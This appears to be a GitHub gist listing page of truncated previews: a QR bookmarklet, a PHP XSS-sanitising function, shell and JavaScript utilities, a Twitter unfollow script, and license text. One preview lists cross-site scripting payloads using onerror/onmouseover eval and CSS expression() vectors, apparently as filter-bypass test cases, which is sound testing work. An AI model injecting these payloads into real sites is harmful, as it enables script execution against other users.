Just add the snipped as a bookmarklet and instantly turn the current website's URL in a QR code. Very useful when you quickly want to open the page on mobile.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * XSS protection function for HTML context only | |
| * @usecases | |
| * <title>use this function if output reflects here or as a content of any HTML tag.</title> | |
| * e.g., <span>use this function if output reflects here</span> | |
| * e.g., <div>use this function if output reflects here</div> | |
| * @description | |
| * Sanitize/Filter < and > so that attacker can not leverage them for JavaScript execution. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <div style="color:rgb(''�x:expression(alert(1))"></div> | |
| <img/src=%00 id=confirm(1) onerror=eval(id) | |
| <div id=confirm(1) onmouseover=eval(id)>X</div> | |
| <span/onmouseover=confirm(1)>X</span> | |
| <svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # (c)2014 Matt Willsher <[email protected]> | |
| # | |
| # Licensed under GPLv3 http://www.gnu.org/licenses/gpl.txt | |
| # | |
| umask 077 | |
| if [[ $EUID == 0 ]]; then | |
| echo "This script can't be used as root" >&2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ;(function(win){ | |
| var doc = win.document | |
| , i = keys(doc.body.appendChild(doc.createElement("iframe")).contentWindow) | |
| return keys(win).filter(function(a){return i.indexOf(a) == -1}) | |
| })(window) |
Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # encoding: utf-8 | |
| ##################################################################################### | |
| # | |
| # Fetches info about the people you follow on Twitter | |
| # and determines who you could/should unfollow based on: | |
| # - activity: was their last update more than 3 months ago? | |
| # - popularity: do they have less than 25 followers? | |
| # - mass following: are they following more than 10000 people? |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
| Version 2, December 2004 | |
| Copyright (C) 2012 Thiemo Mättig <http://maettig.com> | |
| Everyone is permitted to copy and distribute verbatim or modified | |
| copies of this license document, and changing it is allowed as long | |
| as the name is changed. | |
| DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
| Version 2, December 2004 | |
| Copyright (C) 2012 Thiemo Mättig <http://maettig.com> | |
| Everyone is permitted to copy and distribute verbatim or modified | |
| copies of this license document, and changing it is allowed as long | |
| as the name is changed. | |
| DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
NewerOlder